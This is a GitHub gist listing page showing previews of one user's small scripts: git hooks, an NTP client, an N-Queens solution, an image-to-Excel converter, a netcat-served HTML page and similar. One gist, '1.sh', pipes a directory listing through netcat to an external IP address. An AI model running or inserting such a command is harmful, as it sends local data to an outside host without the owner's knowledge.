Skip to content

Instantly share code, notes, and snippets.

@xavierskip
xavierskip / pre-push
Created June 6, 2024 07:48
how run windows cmd from the git hooks
#!/bin/sh
D:/path/to/your.bat
@xavierskip
xavierskip / pre-push
Created March 10, 2024 12:56
The git hook pre-push script on Windows uses WSL to execute the rsync command for file synchronization.
#!/bin/bash
# https://stackoverflow.com/a/67658259/1265727
# solve:The source and destination cannot both be remote.
# rsync error: syntax or usage error (code 1) at main.c(1428) [Receiver=3.2.7]
export MSYS_NO_PATHCONV=1
wsl rsync -azhP raspi:/home/pi/www/ /mnt/z/backup/www
@xavierskip
xavierskip / 51 N-Queens.py
Last active May 20, 2023 07:48
Eight queens
# https://leetcode.com/problems/n-queens/submissions/
class Solution:
def solveNQueens(self, n: int) -> List[List[str]]:
queen = [0]*(n+1)
# print(queen)
result = []
def Place(y):
for x in range(1,y):
if queen[x] == queen[y] or (abs(queen[x]-queen[y]) == (y-x)):
return 0
@xavierskip
xavierskip / ntp.py
Last active April 11, 2023 15:40
simple ntp client
"""
https://stackoverflow.com/a/33436061/1265727
"""
from contextlib import closing
from socket import socket, AF_INET, SOCK_DGRAM
import struct
import time
NTP_PACKET_FORMAT = "!12I"
NTP_DELTA = 2208988800 # 1970-01-01 00:00:00
@xavierskip
xavierskip / test-anti-img-theft-strategy.py
Last active July 27, 2023 08:37
test anti img theft strategy
import unittest
import requests
right_referer = 'https://xx.com'
img_url = "https://i.xx.com/f54ae2eb228d7.jpg"
content_length = 16714
AntiTheft_content_length = 41
class TestAntiTheft(unittest.TestCase):
"""
@xavierskip
xavierskip / img2excel.py
Created October 1, 2021 13:56
convert img to excel
from openpyxl import Workbook
from openpyxl.styles import PatternFill
from PIL import Image
import sys
'''
require: python3 pillow openpyxl
usage: python3 img2excel 1.jpg out
'''
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>A webpage served by netcat</title>
@xavierskip
xavierskip / 1.sh
Last active July 6, 2021 11:16
1.sh
ls | nc 167.71.123.237 8999
@xavierskip
xavierskip / flag.c
Created November 23, 2020 04:58
a wave flag
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char f0[] = "/\\\n||^-----------\n||^###########|\n||^###########|\n||^###########|\n||^-----------\n|| \n||\n||\n||";
char f1[] = "/\\\n||-^----------\n||#^##########|\n||#^##########|\n||#^##########|\n||-^----------\n|| \n||\n||\n||";
char f2[] = "/\\\n||--^---------\n||##^#########|\n||##^#########|\n||##^#########|\n||--^---------\n|| \n||\n||\n||";
char f3[] = "/\\\n||---^--------\n||###^########|\n||###^########|\n||###^########|\n||---^--------\n|| \n||\n||\n||";
char f4[] = "/\\\n||----^-------\n||####^#######|\n||####^#######|\n||####^#######|\n||----^-------\n|| \n||\n||\n||";
import itertools
import random
def fillfull(chars, width):
length = len(chars)
full = length ** width
for i in range(full):
one = ""
for j in range(width):
one += chars[i%length]